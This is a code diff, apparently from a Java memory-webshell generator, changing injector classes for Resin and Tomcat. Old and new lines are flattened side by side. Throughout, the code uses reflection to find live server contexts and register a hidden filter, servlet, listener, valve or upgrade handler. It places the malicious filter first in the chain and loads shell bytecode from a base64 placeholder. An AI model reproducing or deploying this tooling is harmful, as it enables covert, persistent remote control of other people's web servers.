invokeMethod(context, "clearCache", null, null); invokeMethod(context, "clearCache", null, null);
} }
@@ -193,30 +201,25 @@ public class ResinFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,6 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet; import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -38,7 +37,7 @@ public class ResinListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -182,30 +181,25 @@ public class ResinListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -40,7 +42,7 @@ public class ResinServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -183,30 +185,25 @@ public class ResinServletInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -60,6 +61,47 @@ public class TomcatFilterInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -76,34 +118,6 @@ public class TomcatFilterInjector {
} }
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
@@ -137,15 +151,18 @@ public class TomcatFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -163,11 +180,17 @@ public class TomcatFilterInjector {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
try { try {
// v7.0.0 以上 // Tomcat5
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(context, "filterMaps", results);
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
} }
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
@@ -239,20 +262,34 @@ public class TomcatFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass(); for (Class<?> clazz = obj.getClass();
while (clazz != Object.class) { clazz != Object.class;
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); return clazz.getDeclaredField(name);
field.setAccessible(true); } catch (NoSuchFieldException ignored) {
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatListenerInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -70,32 +107,7 @@ public class TomcatListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -214,30 +226,25 @@ public class TomcatListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
if (ok) { if (ok) {
return; return;
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
System.out.println(msg); System.out.println(msg);
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve; this.rawValve = rawValve;
this.proxyValve = proxyValve; this.proxyValve = proxyValve;
} }
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) { if ("invoke".equals(method.getName())) {
@@ -100,12 +85,24 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) { if (name.matches(".+WebappClassLoader")) {
@@ -121,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -60,6 +62,43 @@ public class TomcatServletInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -77,31 +116,6 @@ public class TomcatServletInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -55,6 +55,47 @@ public class TomcatUpgradeInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -72,35 +113,6 @@ public class TomcatUpgradeInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null) { if (contexts == null || contexts.isEmpty()) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,6 +53,43 @@ public class TomcatValveInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
